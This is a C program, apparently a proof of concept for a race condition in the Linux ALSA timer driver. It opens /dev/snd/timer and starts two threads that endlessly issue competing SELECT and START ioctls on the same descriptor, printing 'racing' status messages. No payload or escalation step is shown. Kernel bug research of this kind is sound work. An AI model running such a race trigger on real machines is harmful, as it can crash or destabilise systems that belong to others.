1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
| #define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <fcntl.h>
#include <err.h>
#include <string.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <linux/futex.h>
#include <linux/soundcard.h>
#include <sys/soundcard.h>
#include <sys/ioctl.h>
#include <sound/asound.h>
static const char *const event_labels[] = {
[SNDRV_TIMER_EVENT_RESOLUTION] = "resolution",
[SNDRV_TIMER_EVENT_TICK] = "tick",
[SNDRV_TIMER_EVENT_START] = "start",
[SNDRV_TIMER_EVENT_STOP] = "stop",
[SNDRV_TIMER_EVENT_CONTINUE] = "continue",
[SNDRV_TIMER_EVENT_PAUSE] = "pause",
[SNDRV_TIMER_EVENT_EARLY] = "early",
[SNDRV_TIMER_EVENT_SUSPEND] = "suspend",
[SNDRV_TIMER_EVENT_RESUME] = "resume",
[SNDRV_TIMER_EVENT_MSTART] = "mstart",
[SNDRV_TIMER_EVENT_MSTOP] = "mstop",
[SNDRV_TIMER_EVENT_MCONTINUE] = "mcontinue",
[SNDRV_TIMER_EVENT_MPAUSE] = "mpause",
[SNDRV_TIMER_EVENT_MSUSPEND] = "msuspend",
[SNDRV_TIMER_EVENT_MRESUME] = "mresume",
};
size_t IOCTL_PVERSION(int fd) {
size_t version;
int errno = ioctl(fd, SNDRV_TIMER_IOCTL_PVERSION, &version);
if (errno < 0) {
perror("Failed in get version\n");
printf("[-] errno: %d\n", errno);
_exit(1);
}
return version;
}
void IOCTL_PARAMS(int fd) {
/* See SNDRV_TIMER_PSFLG_XXX. */
const char *const flag_labels[] = {
[0] = "auto",
[1] = "exclusive",
[2] = "early-event",
};
int i;
struct snd_timer_params params;
memset(¶ms, 0, sizeof(params));
params.flags = SNDRV_TIMER_PSFLG_AUTO | SNDRV_TIMER_PSFLG_EXCLUSIVE;
params.ticks = 1;
params.queue_size = 1;
params.filter = (1 << SNDRV_TIMER_EVENT_RESOLUTION) |
(1 << SNDRV_TIMER_EVENT_TICK) |
(1 << SNDRV_TIMER_EVENT_START) |
(1 << SNDRV_TIMER_EVENT_STOP) |
(1 << SNDRV_TIMER_EVENT_CONTINUE) |
(1 << SNDRV_TIMER_EVENT_PAUSE) |
(1 << SNDRV_TIMER_EVENT_SUSPEND) |
(1 << SNDRV_TIMER_EVENT_RESUME) |
(1 << SNDRV_TIMER_EVENT_MSTART) |
(1 << SNDRV_TIMER_EVENT_MSTOP) |
(1 << SNDRV_TIMER_EVENT_MCONTINUE) |
(1 << SNDRV_TIMER_EVENT_MPAUSE) |
(1 << SNDRV_TIMER_EVENT_MSUSPEND) |
(1 << SNDRV_TIMER_EVENT_MRESUME);
int errno = ioctl(fd, SNDRV_TIMER_IOCTL_PARAMS, ¶ms);
if (errno < 0) {
perror("Failed in get params");
printf("[-] errno: %d\n", errno);
_exit(1);
}
printf("params:\n");
printf(" flags: ");
for (i = 0; i < sizeof(flag_labels)/sizeof(flag_labels[0]); ++i) {
if (params.flags & (1 << i))
printf("%s, ", flag_labels[i]);
}
printf("\n");
printf(" ticks: %d\n", params.ticks);
printf(" queue-size: %d\n", params.queue_size);
printf(" filter(%08x): ", params.filter);
for (i = 0; i < sizeof(event_labels)/sizeof(event_labels[0]); ++i) {
if (params.filter & (1 << i))
printf("%s, ", event_labels[i]);
}
printf("\n");
}
void IOCTL_THREAD(int fd) {
int flag = 1;
int errno = ioctl(fd, SNDRV_TIMER_IOCTL_TREAD, &flag);
if (errno < 0) {
perror("Failed in create time thread\n");
printf("[-] errno: %d\n", errno);
_exit(1);
}
printf("[+] time thread create successfully\n");
}
void IOCTL_SELECT(int fd) {
struct snd_timer_select select = {0};
select.id.dev_class = SNDRV_TIMER_CLASS_PCM;
select.id.dev_sclass = 0;
select.id.card = 1;
select.id.device = 0;
select.id.subdevice = 0;
int errno = ioctl(fd, SNDRV_TIMER_IOCTL_SELECT, &select);
if (errno < 0) {
perror("Failed in time dev select\n");
printf("[-] errno: %d\n", errno);
_exit(1);
}
printf("[+] time dev select successfully\n");
}
void IOCTL_INFO(int fd) {
struct snd_timer_info info;
memset(&info, 0, sizeof(info));
int errno = ioctl(fd, SNDRV_TIMER_IOCTL_INFO, &info);
if (errno < 0) {
perror("Failed in get info\n");
printf("[-] errno: %d\n", errno);
_exit(1);
}
printf("[+] Timer info: card=%d, id=%s, name:%s\n", info.card, info.id, info.name);
}
void IOCTL_INIT(int fd) {
struct snd_timer_select select;
memset(&select, 0, sizeof(select));
select.id.dev_class = SNDRV_TIMER_CLASS_GLOBAL; // 使用全局定时器
select.id.dev_sclass = SNDRV_TIMER_SCLASS_NONE; // 无子类
int ret = ioctl(fd, SNDRV_TIMER_IOCTL_SELECT, &select);
if (ret < 0) {
perror("Failed to select timer source");
_exit(1);
}
// printf("[+] init timer successfully\n");
}
void IOCTL_START(int fd) {
int ret = ioctl(fd, SNDRV_TIMER_IOCTL_START, NULL);
if (ret < 0) {
perror("Failed to start timer");
_exit(1);
}
// printf("[+] start timer successfully\n");
}
void IOCTL_INIT_FOR_MYSELF(int fd) {
struct snd_timer_select select;
memset(&select, 0, sizeof(select));
// 设置为用户定时器
select.id.dev_class = SNDRV_TIMER_CLASS_SLAVE;
select.id.dev_sclass = SNDRV_TIMER_SCLASS_NONE;
int ret = ioctl(fd, SNDRV_TIMER_IOCTL_SELECT, &select);
if (ret < 0) {
perror("Failed to select user-defined timer");
_exit(1);
}
printf("[+] User-defined timer selected successfully\n");
}
void *thread_tselect1(void *arg) {
int fd = *(int *)arg;
while (1)
IOCTL_INIT(fd);
return NULL;
}
void *thread_tselect2(void *arg) {
int fd = *(int *)arg;
while (1)
IOCTL_START(fd);
return NULL;
}
int main(){
int fd = open("/dev/snd/timer", O_RDWR | O_CLOEXEC);
if(fd < 0){
perror("open");
_exit(1);
}
// 配置定时器参数
struct snd_timer_params params;
memset(¶ms, 0, sizeof(params));
params.flags = 0;
params.ticks = 1000; // 每秒触发 1000 次
params.queue_size = 32; // 使用默认队列
params.reserved0 = 1; // 分辨率:1微秒
// Get version
long version;
version = IOCTL_PVERSION(fd);
printf("[+] get version: %ld\n", version);
// Get thread
IOCTL_THREAD(fd);
IOCTL_INIT(fd);
/*test for create clock*/
IOCTL_INFO(fd);
IOCTL_INIT(fd);
// for(int i = 0; i < 10; i ++)
// IOCTL_START(fd);
printf("[+] prepare to racing\n");
sleep(2);
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_tselect1, &fd);
pthread_create(&t2, NULL, thread_tselect2, &fd);
printf("[+] threads create already\n");
pthread_join(t1, NULL);
pthread_join(t2, NULL);
printf("[+] racing condition...\n");
// // Select dev
// IOCTL_SELECT(fd);
// IOCTL_PARAMS(fd);
return 0;
}
|